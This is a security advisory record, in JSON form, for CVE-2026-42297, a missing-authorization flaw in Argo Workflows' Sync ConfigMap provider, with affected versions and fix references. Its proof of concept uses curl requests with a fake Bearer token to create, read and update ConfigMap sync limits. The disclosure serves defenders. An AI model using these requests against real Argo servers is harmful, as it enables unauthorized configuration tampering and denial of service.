CVE-2026-42297: Github.com/argoproj/argo workflows/v4 Argo Has Missing Authorization Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xchc-cqwg-g76q",
  "modified" : "2026-05-13T13:39:05Z",
  "published" : "2026-05-04T20:00:18Z",
  "aliases" : [ "CVE-2026-42297" ],
  "summary" : "Argo has Missing Authorization in its Sync ConfigMap Provider",
  "details" : "### Summary\nThe Sync Service's ConfigMap-backed provider (`server/sync/sync_cm.go`) performs **zero authorization checks** on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits.\n\n### Details\nThe ConfigMap-backed provider (`server/sync/sync_cm.go`) has no `auth.CanI` checks:\n\n```go\n// sync_cm.go — UNPROTECTED\nfunc (s *configMapSyncProvider) createSyncLimit(ctx context.Context, req *syncpkg.CreateSyncLimitRequest) {\n    // NO auth.CanI check\n    kubeClient := auth.GetKubeClient(ctx)\n    configmapGetter := kubeClient.CoreV1().ConfigMaps(req.Namespace)\n    // ... directly creates/updates ConfigMaps\n}\n```\n- `server/sync/sync_cm.go` — lines 23-155\n- All four SyncService endpoints: `CreateSyncLimit`, `GetSyncLimit`, `UpdateSyncLimit`, `DeleteSyncLimit`\n\n### PoC\n### Prerequisites\n\n- Argo Server running with `--auth-mode=server`\n- Port-forward: `kubectl port-forward -n argo svc/argo-server 2746:2746`\n\n### Step 1: Create Sync Limit (Fake Token)\n\n```bash\ncurl -sk -X POST \"https://localhost:2746/api/v1/sync/default\" \\\n  -H \"Authorization: Bearer fake-token\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": 0, \"namespace\": \"default\", \"cmName\": \"test-sync\", \"key\": \"test-key\", \"limit\": 5}'\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":5}`\n\nVerify ConfigMap was created in Kubernetes:\n\n```bash\nkubectl get configmap test-sync -n default\n```\n\n```\nNAME        DATA   AGE\ntest-sync   1      74s\n```\n\n### Step 2: Read Sync Limit (Fake Token)\n\n```bash\ncurl -sk \"https://localhost:2746/api/v1/sync/default/test-key?type=0&cmName=test-sync\" \\\n  -H \"Authorization: Bearer fake-token\"\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":5}`\n\n### Step 3: Update Sync Limit (Fake Token)\n\n```bash\ncurl -sk -X PUT \"https://localhost:2746/api/v1/sync/default/test-key\" \\\n  -H \"Authorization: Bearer fake-token\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": 0, \"namespace\": \"default\", \"cmName\": \"test-sync\", \"key\": \"test-key\", \"limit\": 999}'\n```\n\n**Result:** `{\"namespace\":\"default\",\"cmName\":\"test-sync\",\"key\":\"test-key\",\"limit\":999}`\n\nVerify the ConfigMap was actually modified:\n\n```bash\nkubectl get configmap test-sync -n default -o jsonpath='{.data.test-key}'\n```\n\n```\n999\n```\n\n### Impact\nAn attacker with network access to the Argo Server can:\n\n1. **Denial of Service** — Set sync limits to `0` or `1`, blocking all parallel workflow execution\n2. **Workflow Disruption** — Modify existing sync limits to break running workflows\n3. **Information Disclosure** — Read ConfigMap data that may contain sensitive configuration\n4. **Arbitrary ConfigMap Manipulation** — Create/delete ConfigMaps in any namespace accessible to the server's service account\n\n## Related CVEs\n\n- **CVE-2026-28229** (GHSA-56px-hm34-xqj5): Unauthorized access to WorkflowTemplate endpoints — same root cause (missing `auth.CanI` check)\n- **CVE-2024-53862** (GHSA-h36c-m3rf-34h9): Archived workflow auth bypass — same pattern",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.0.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42297"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-workflows"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-04T20:00:18Z",
    "nvd_published_at" : "2026-05-09T04:16:25Z"
  }
}